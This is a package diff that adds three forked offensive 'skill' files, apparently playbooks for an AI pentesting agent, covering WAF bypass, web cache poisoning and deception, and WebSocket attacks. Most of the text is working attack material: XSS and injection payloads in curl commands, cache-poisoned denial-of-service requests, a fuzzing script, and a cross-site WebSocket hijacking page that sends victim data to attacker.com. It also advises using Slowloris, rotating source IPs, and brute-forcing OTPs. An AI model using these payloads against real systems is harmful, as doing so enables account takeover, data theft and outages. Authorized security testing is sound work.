@aegis-scan/skills 0.4.0 → 0.5.1

package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md

@@ -0,0 +1,90 @@
+<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
+
+# WAF Detection and Bypass
+
+## Overview
+Before running any exploitation attempts, you MUST detect if a WAF (Web Application Firewall) is present. Failing to do so can lead to:
+- IP blocking/banning
+- False negatives (legitimate vulnerabilities missed)
+- Rate limiting that stalls your testing
+
+## Detection Tools
+
+### 1. wafw00f (Primary)
+```bash
+wafw00f https://target.com
+```
+
+### 2. WhatWaf
+```bash
+whatwaf -u https://target.com
+```
+
+### 3. Manual Detection
+Check for WAF indicators in response headers:
+- `Server:`
+- `X-Cdn:`
+- `X-Sucuri-ID:`
+- `X-Debug:`
+
+Check response body for WAF block pages:
+- "403 Forbidden"
+- "Access Denied"
+- "Security Check"
+- "Attack Detected"
+
+## Common WAF Signatures
+
+| WAF | Detection Fingerprint |
+|-----|----------------------|
+| Cloudflare | `__cfduid`, `cf-ray`, server: `cloudflare` |
+| AWS WAF | `X-Amzn-Trace-Id`, `aws-waf` |
+| Azure WAF | `server: Microsoft-IIS` with `az` headers |
+| Akamai | `AkamaiGHost`, `akamai-origin-hop` |
+| Imperva | `X-CDN`, `X-Iinfo` |
+| Sucuri | `X-Sucuri-ID`, `X-Sucuri-Block` |
+| ModSecurity | `server: ModSecurity` |
+| F5 ASM | `X-Correlation-ID`, `TS` cookie |
+
+## Bypass Techniques
+
+### HTTP Parameter Pollution
+```
+?id=1&id=2
+```
+
+### Case Variation
+```
+/Admin login
+/admin Login
+```
+
+### Encoding
+- URL encode special characters
+- Double URL encode
+- Unicode variations
+
+### Protocol Switching
+- HTTP/1.0 instead of 1.1
+- Use Host header variations
+
+### Timing Attacks
+- Add delays between requests
+- Slowloris to bypass rate limits
+
+## Workflow
+
+1. **RECON PHASE**: Run wafw00f before exploitation
+2. **IF WAF DETECTED**: 
+   - Note the WAF type
+   - Select appropriate bypass payloads
+   - Implement delays between requests
+   - Consider using different IP/source
+3. **DOCUMENT**: Save WAF results to output/waf_detection.txt
+
+## Important Notes
+
+- NEVER spam requests - you'll get blocked
+- Use `httpx` or `curl` first to check response
+- Some WAFs only block on specific attack patterns
+- Cloudflare requires special handling (may need to bypass JS challenge)

package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md

@@ -0,0 +1,233 @@
+<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
+
+---
+name: web-cache-poisoning
+description: Web cache poisoning and cache deception attacks covering unkeyed headers, fat GET, parameter cloaking, CPDoS, and path normalization
+---
+
+# Web Cache Poisoning & Cache Deception
+
+Cache attacks work by making the cache store and serve a malicious response to other users, or by tricking the cache into serving another user's private data to the attacker. Impact: stored XSS across the entire application, account takeover, DoS.
+
+---
+
+## Core Concepts
+
+Cache Key = combination of request parameters the cache uses to identify a unique response.
+Attack: inject something INTO the response via an unkeyed input → cache serves that poisoned response to everyone.
+
+Two attack families:
+- Cache Poisoning: poison the cache with your malicious input → victim receives it
+- Cache Deception: trick the cache into storing a victim's private response → attacker reads it
+
+---
+
+## Reconnaissance
+
+### Identify Caching Behavior
+
+    # Look for cache indicators in response headers
+    curl -sI https://target.com/ | grep -iE "cache|x-cache|cf-cache|age|cdn|varnish|surrogate"
+
+    # Send same request twice — if Age: increases or X-Cache: HIT, it's cached
+    curl -sI https://target.com/ | grep -i "x-cache\|age\|cf-cache"
+
+    # Cache-busting: add unique param to get fresh response
+    curl -sI "https://target.com/?cb=$(date +%s)"
+
+### Discover Unkeyed Inputs
+
+    # Automated: param-miner equivalent via web_search for "param miner burp extension"
+    # Manual: test common unkeyed headers
+
+    for header in "X-Forwarded-Host" "X-Host" "X-Forwarded-Server" "X-HTTP-Host-Override" \
+                  "X-Original-URL" "X-Rewrite-URL" "X-Forwarded-For" "X-Real-IP" \
+                  "X-Original-Host" "Forwarded" "X-Forwarded-Proto"; do
+        response=$(curl -sI "https://target.com/?cb=$(date +%s)" -H "$header: evil.com")
+        if echo "$response" | grep -q "evil.com"; then
+            echo "REFLECTED: $header"
+        fi
+    done
+
+---
+
+## Cache Poisoning Attacks
+
+### X-Forwarded-Host Injection
+
+Most common. Server uses this header to generate absolute URLs (password reset links, JS URLs):
+
+    # Test reflection
+    curl -s "https://target.com/?cb=1" -H "X-Forwarded-Host: evil.com" | grep "evil.com"
+
+    # If reflected in script src or link href:
+    # Poison: serve malicious JS from evil.com
+    curl -s "https://target.com/" -H "X-Forwarded-Host: evil.com"
+
+    # Impact: all cached pages serve JS from evil.com → XSS for every visitor
+
+### X-Forwarded-For / X-Real-IP Injection
+
+Some apps render IP in response for analytics or debug:
+
+    curl -s "https://target.com/" -H "X-Forwarded-For: \"><script>alert(1)</script>"
+
+### Unkeyed Query Parameters
+
+    # Find params excluded from cache key
+    # Try: utm_*, _ga, fbclid, ref, source — often stripped from cache key but reflected in response
+
+    curl -s "https://target.com/?utm_content=<script>alert(1)</script>" | grep "script"
+
+    # If reflected, poison with unique CB param that's keyed:
+    curl -s "https://target.com/?utm_content=<script>alert(1)</script>&normalcb=unique"
+
+### Fat GET Request
+
+Some caches key on URL only but backend parses body of GET request:
+
+    curl -s -X GET "https://target.com/" \
+      -H "Content-Type: application/x-www-form-urlencoded" \
+      -d "param=<script>alert(1)</script>"
+
+### Cache Key Injection (Header Splitting)
+
+    # Inject cache key separator to create a new cache entry
+    curl -s "https://target.com/" -H "X-Forwarded-Host: evil.com\r\nX-Cache-Key: injected"
+
+### Parameter Cloaking
+
+Discrepancy between how the CDN and origin parse query strings:
+
+    # CDN sees: ?search=clean&param=value
+    # Origin (Node/Ruby/PHP) sees last duplicate: ?param=evil
+    curl -s "https://target.com/?search=clean;param=evil" | grep "evil"
+    curl -s "https://target.com/?search=clean%26param=evil" | grep "evil"
+
+---
+
+## Cache Deception
+
+Trick the cache into storing the victim's authenticated response so the attacker can read it.
+
+### Path Confusion
+
+Cache caches based on file extension (.css, .js, .png) regardless of actual content:
+
+    # Visit: /account/settings.css
+    # Cache stores it thinking it's CSS
+    # Attacker reads: /account/settings.css → gets victim's account page
+
+    # Test: append static-looking suffix after authenticated path
+    for suffix in ".css" ".js" ".png" ".ico" ".woff" "/null.js" "/index.css"; do
+        code=$(curl -sk -o /dev/null -w "%{http_code}" "https://target.com/api/user$suffix" \
+          -H "Authorization: Bearer <token>")
+        cached=$(curl -sI "https://target.com/api/user$suffix" | grep -i "x-cache\|age" | head -1)
+        echo "$suffix → HTTP $code | $cached"
+    done
+
+### Cache Rules Misalignment
+
+    # If /static/* is cached but server serves JSON for /static/../api/user
+    curl -s "https://target.com/static/../api/user" -H "Authorization: Bearer <victim_token>"
+    # Then attacker reads cached response without token
+
+### Normalized Path Confusion
+
+    # Server normalizes: /account/..%2Fstatic%2Fstyle.css → /static/style.css
+    # Cache caches based on raw URL → stores as /account/..%2Fstatic%2Fstyle.css
+    # Victim's authenticated version gets cached under that key
+
+---
+
+## CPDoS (Cache Poisoned Denial of Service)
+
+Poison cache with error responses to deny service to all users:
+
+    # HHO — HTTP Header Oversize
+    # Send request with very long header → 400 error cached by CDN
+    curl -s "https://target.com/" -H "X-Crash: $(python3 -c "print('A'*8192)")"
+
+    # HMC — HTTP Meta Characters
+    curl -s "https://target.com/" -H $'X-Meta: test\r\nContent-Length: 0'
+
+    # SCP — Site Cache Poisoning via method
+    curl -s -X DELETE "https://target.com/" | head -5
+    # If 405 is cached → DoS
+
+---
+
+## Detecting Cache Scope
+
+    # Determine what varies the cache key
+    # Same URL, different Accept-Language → different response? → Language in key
+    curl -sI "https://target.com/?cb=test1" -H "Accept-Language: fr"
+    curl -sI "https://target.com/?cb=test1" -H "Accept-Language: en"
+
+    # Cookie in key?
+    curl -sI "https://target.com/" -H "Cookie: session=abc123"
+
+    # User-Agent in key?
+    curl -sI "https://target.com/" -H "User-Agent: Mozilla/5.0"
+    curl -sI "https://target.com/" -H "User-Agent: Googlebot"
+
+---
+
+## Automation
+
+    # nuclei cache poisoning templates
+    nuclei -u https://target.com -t /home/pentester/nuclei-templates/vulnerabilities/other/ \
+      -tags cache -o output/cache_nuclei.txt
+
+    # toxicache — dedicated cache poisoning tool
+    toxicache -u https://target.com
+
+    # Custom header fuzzer for unkeyed inputs
+    python3 tools/cache_header_fuzz.py https://target.com
+
+Example script (`tools/cache_header_fuzz.py`):
+
+    #!/usr/bin/env python3
+    import requests, sys
+    TARGET = sys.argv[1] if len(sys.argv) > 1 else "https://example.com"
+    HEADERS_TO_TEST = [
+        "X-Forwarded-Host", "X-Host", "X-Forwarded-Server",
+        "X-Original-URL", "X-Rewrite-URL", "Forwarded",
+        "X-Forwarded-For", "X-Real-IP", "X-Custom-IP-Authorization",
+        "X-Original-Host", "X-HTTP-Host-Override", "X-Forwarded-Proto",
+    ]
+    CANARY = "evil.example.com"
+    results = []
+    for h in HEADERS_TO_TEST:
+        import time; cb = str(int(time.time()*1000))
+        r = requests.get(f"{TARGET}?cb={cb}", headers={h: CANARY}, timeout=10)
+        reflected = CANARY in r.text
+        results.append(f"{'REFLECTED' if reflected else 'not reflected'} | {h}")
+        print(results[-1])
+    with open("output/cache_fuzz.txt","w") as f:
+        f.write("\n".join(results))
+
+---
+
+## Validation
+
+1. Confirm cache stores your poisoned response: make poisoning request, then fetch WITHOUT the injection header — does the canary appear?
+2. Test from a different IP/session to confirm it's served to other users
+3. For Cache Deception: log in as victim, visit deception URL, log out, access same URL unauthenticated — does victim data appear?
+4. Demonstrate impact: XSS execution, credential/token exposure, or service disruption
+
+---
+
+## Pro Tips
+
+1. Always use a cache-buster param when testing to avoid poisoning production by accident
+2. X-Forwarded-Host is reflected in ~30% of CDN-backed apps — test it first
+3. Unkeyed parameters: UTM params (utm_source, utm_campaign) are almost universally unkeyed
+4. Check password reset flows — if reset URL uses X-Forwarded-Host, cache poison → steal reset links
+5. Cache deception on `/profile.css` is an instant account takeover if session data is returned
+6. CPDoS with HHO (oversized header) is the easiest to test and often overlooked by defenders
+7. After finding an unkeyed header, check what it controls: JS URLs, redirect targets, or meta refresh → highest impact
+
+## Summary
+
+Cache poisoning = find unkeyed input → confirm it's reflected → make cacheable → observe cache serving it to others. Cache deception = append static extension to private endpoint → visit as victim → read from cache as attacker. Both require proof via second-user fetch to confirm real impact.

package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md

@@ -0,0 +1,180 @@
+<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
+
+---
+name: websocket
+description: Exploitation techniques for WebSockets including CSWSH, Smuggling, Auth bypass, and Injection attacks.
+---
+
+# WebSocket Vulnerabilities
+
+WebSockets provide full-duplex communication channels over a single TCP connection. Because they differ significantly from standard HTTP request-response patterns, they often bypass traditional security controls (like WAFs) and suffer from unique implementation flaws ranging from Cross-Site WebSocket Hijacking (CSWSH) to complex smuggling and injection attacks.
+
+## Core Concepts & The Handshake
+
+A WebSocket connection begins with an HTTP/1.1 Upgrade request.
+
+```http
+GET /chat HTTP/1.1
+Host: target.com
+Upgrade: websocket
+Connection: Upgrade
+Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
+Sec-WebSocket-Version: 13
+Origin: https://target.com
+```
+
+If successful, the server responds with a `101 Switching Protocols`:
+
+```http
+HTTP/1.1 101 Switching Protocols
+Upgrade: websocket
+Connection: Upgrade
+Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
+```
+
+Once established, data is transmitted in binary or text frames. Both directions can send data independently.
+
+---
+
+## 1. Cross-Site WebSocket Hijacking (CSWSH)
+
+CSWSH is the WebSocket equivalent of CSRF. If the WebSocket handshake relies *solely* on surrounding HTTP context (like ambient Cookies or HTTP Basic Auth) for authentication and does not validate the `Origin` header or use anti-CSRF tokens, an attacker can initiate a WebSocket connection from their own domain on behalf of the victim.
+
+**Mechanism:**
+1. Victim logs into `target.com` (session cookie is set).
+2. Victim visits `attacker.com`.
+3. `attacker.com` executes JavaScript to open a WebSocket to `wss://target.com/ws`.
+4. The browser automatically attaches the victim's session cookies to the handshake.
+5. If `target.com` doesn't validate the `Origin: https://attacker.com` header or require a token in the initial message/URL, the connection succeeds.
+6. The attacker can now send and receive frames as the victim.
+
+**Exploitation (Attacker's Server):**
+```html
+<script>
+  // Open WebSocket to the vulnerable target
+  var ws = new WebSocket('wss://target.com/ws');
+
+  ws.onopen = function() {
+    console.log('CSWSH Successful!');
+    // Send malicious action
+    ws.send(JSON.stringify({action: 'transfer_funds', amount: 10000, to: 'attacker'}));
+  };
+
+  ws.onmessage = function(event) {
+    // Exfiltrate received data (e.g., chat history, API keys) back to attacker
+    fetch('https://attacker.com/exfil?data=' + btoa(event.data));
+  };
+</script>
+```
+
+**Bypassing Weak Origin Checks:**
+- Null Origin: Send from an iframe with a `data:` URI to send `Origin: null`.
+- Subdomain Match: If checking `.target.com`, bypass with `attacker-target.com`.
+- Trailing Slashes/Ports test.
+
+---
+
+## 2. Authorization and Authentication Bypass
+
+A common misconception is that the initial HTTP handshake secures the *entire lifecycle* of the WebSocket connection. 
+
+**Vulnerability Patterns:**
+1. **Per-Message Missing Authorization:** The handshake validates the session, but individual frames requesting privileged actions (e.g., `{"type": "delete_user", "id": 5}`) do not check if the user is an admin.
+2. **Channel Subscription Bypass:** WebSockets often use "channels" (e.g., GraphQL subscriptions, ActionCable). If a user sends a poorly validated `{"subscribe": "admin_channel"}`, they might receive broadcasted admin data without authorization checks.
+3. **Session Expiration Ignored:** If the HTTP session expires or the user logs out, the existing long-lived WebSocket connection often remains active.
+
+**Testing:**
+- Intercept the WebSocket frame using Burp Suite or custom scripts.
+- Modify identifiers, user IDs, or role fields in the JSON payload.
+- Attempt to subscribe to hidden, administrative, or other user's channels (e.g., `{"channel": "user_1337_private"}`).
+
+---
+
+## 3. WebSocket Smuggling and Desync Attacks
+
+WebSockets can interact disastrously with reverse proxies and load balancers. If the frontend proxy and backend server disagree on whether a connection was successfully upgraded, smuggling occurs.
+
+**Attack Vector (Varnish / Nginx Misconfigurations):**
+If a reverse proxy blindly routes the `Upgrade: websocket` header but the backend server rejects it (or doesn't support WebSockets), the frontend might still treat the TCP connection as a raw TCP tunnel, while the backend treats it as an HTTP connection waiting for the next request (HTTP Keep-Alive).
+
+**Exploitation:**
+1. Attacker sends an HTTP request claiming to Upgrade to WebSocket.
+2. Inside the "WebSocket" body (which is actually sent as cleartext, as the backend didn't upgrade), the attacker smuggles a secondary HTTP request.
+3. The backend processes the smuggled request. Since the frontend thinks it's a WebSocket tunnel, the attacker can receive the HTTP response directly or poison another user's request.
+
+---
+
+## 4. Injection Attacks via WebSockets (SQLi, XSS, OS Command)
+
+Because WebSocket frames don't pass through standard HTTP WAFs (which often only inspect HTTP headers, query parameters, and standard POST bodies), they are a prime vector for bypassing perimeter security to deliver injection payloads directly to the application logic.
+
+**Testing:**
+WebSockets often carry JSON, XML, or custom binary structures.
+- **SQL Injection:** If a frame contains `{"user_id": 12}`, alter it to `{"user_id": "12 OR 1=1"}`. Assess the returned frames for DB errors or changed logic.
+- **Blind XSS/Stored XSS:** Chat applications often echo WebSocket input to other connected clients. Injecting `<svg/onload=alert(1)>` via a WebSocket frame will execute on the victim's browser when broadcasted.
+- **OS Command Injection:** E.g., `{"command": "ping", "target": "8.8.8.8; id"}`.
+- **NoSQL Injection:** E.g., `{"query": {"$ne": null}}`.
+
+---
+
+## 5. Denial of Service (DoS)
+
+WebSocket connections map 1:1 to process threads or file descriptors in many server implementations.
+
+- **Connection Exhaustion (Slowloris over WS):** Opening thousands of connections and sending a frame every 5 minutes keeps the connections alive, exhausting server resources.
+- **Payload Size Exploitation:** Sending massive frames (e.g., 50MB of garbage data). If the server attempts to parse or allocate memory for the entire payload before processing, it will crash (OOM).
+- **Asymmetric processing:** Sending a very small WebSocket frame that triggers a computationally expensive backend database query or API call, then dropping the connection and repeating.
+
+---
+
+## 6. Race Conditions over WebSockets
+
+Because WebSockets are asynchronous and full-duplex, multiple frames can be sent in rapid succession before the server has time to lock resources or update state (e.g., deducting an account balance).
+
+**Exploitation (Turbo Intruder / Scripting):**
+Launch multiple identical frames over the *same* WebSocket connection, or across multiple simultaneous connections, to exploit Time-of-Check to Time-of-Use (TOCTOU) flaws.
+
+```javascript
+// Send 20 discount usage requests in 1 millisecond
+let ws = new WebSocket("wss://target.com/ecommerce");
+ws.onopen = function() {
+  for(let i=0; i<20; i++){
+     ws.send(JSON.stringify({"action":"apply_discount", "code":"SUMMER50"}));
+  }
+}
+```
+
+---
+
+## 7. WebSockets over HTTP/2 (RFC 8441)
+
+HTTP/2 multiplexes multiple streams over a single TCP connection. RFC 8441 allows WebSockets to operate over HTTP/2 streams (`CONNECT` method with `:protocol: websocket` pseudo-header).
+- **Desync via H2:** If a backend downgrades HTTP/2 to HTTP/1.1 poorly, injecting frame boundaries into the HTTP/2 stream can result in HTTP/1.1 request smuggling.
+
+## Testing Methodology
+
+1. **Discovery:** Look for `ws://` or `wss://` in JS files, or filter Burp/ZAP history for `101 Switching Protocols`.
+2. **CSWSH Check:** Replay the initial HTTP handshake request with a modified or missing `Origin` header. If the server responds with a `101`, test if you can successfully send/receive data.
+3. **WAF Bypass Validation:** Send standard SQLi/XSS payloads over HTTP. If blocked, send the exact same payloads via the WebSocket channel.
+4. **Fuzzing Frames:** Use tools like `wscat` or Burp's WebSocket message interception to fuzz JSON keys, values, and frame sizes.
+5. **Authorization Matrix:** Open two connections with different privilege levels. Attempt to send privileged structure templates from the lower-privileged connection.
+
+## Detection Tools
+
+```bash
+# wscat - CLI wrapper for interacting with WebSockets natively
+wscat -c wss://target.com/ws -H "Origin: https://attacker.com"
+
+# SQLMap - Can be tunneled through a WebSocket proxy
+# Requires an intermediate script that accepts HTTP from sqlmap and translates to WS frames.
+
+# Stealify/websocket-smuggle
+# Testing reverse proxies for WS upgrade misconfigurations
+```
+
+## Pro Tips
+
+1. **Examine Ping/Pong Frames:** WebSockets use internal OpCodes for Ping (`0x9`) and Pong (`0xA`) to keep connections alive. Sometimes, sending massive Ping payloads (which RFC says must be echoed back in the Pong) can lead to buffer overflows or DoS.
+2. **Binary Framing:** If the application uses binary frames (`OpCode 0x2`) instead of Text frames (often protobufs or MessagePack), standard interception tools might mangle the payload. You will need to write a custom Burp extension or Python script (`websocket-client` library) to serialize/deserialize correctly.
+3. **Rate Limiting:** IP-based rate limiting often applies to the *HTTP Handshake endpoint*, but completely ignores the frequency of *frames* sent over the established connection. If you need to brute-force a pin or OTP, do it via WebSocket frames instead of HTTP POSTs.
+4. **GraphQL Subscriptions:** Almost all GraphQL subscriptions are implemented via WebSockets (like `subscriptions-transport-ws`). Apply both standard GraphQL attacks (Introspection, Batching DoS) AND WebSocket attacks (CSWSH) simultaneously.